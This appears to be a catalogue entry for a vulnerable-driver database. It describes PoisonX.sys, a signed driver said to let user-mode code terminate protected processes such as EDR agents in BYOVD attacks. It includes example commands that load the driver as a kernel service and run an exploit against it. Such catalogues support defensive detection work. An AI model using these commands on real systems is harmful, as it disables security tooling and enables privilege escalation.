examples:

• description: "Load the kernel driver" command: "sc.exe create PoisonX.sys binPath=C:\\windows\\temp\\PoisonX.sys type=kernel && sc.exe start PoisonX.sys"
• description: "Exploit the driver for privilege escalation" command: "Exploit.exe --driver PoisonX.sys"

PoisonX.sys

A Microsoft-signed vulnerable driver used in BYOVD attacks to terminate protected processes, including EDR solutions such as CrowdStrike Falcon. The driver exposes an IOCTL that allows arbitrary process termination from user mode by passing a PID.

Use Case: Kill EDR / Privilege Escalation

Required Privileges: kernel

MITRE ATT&CK: T1562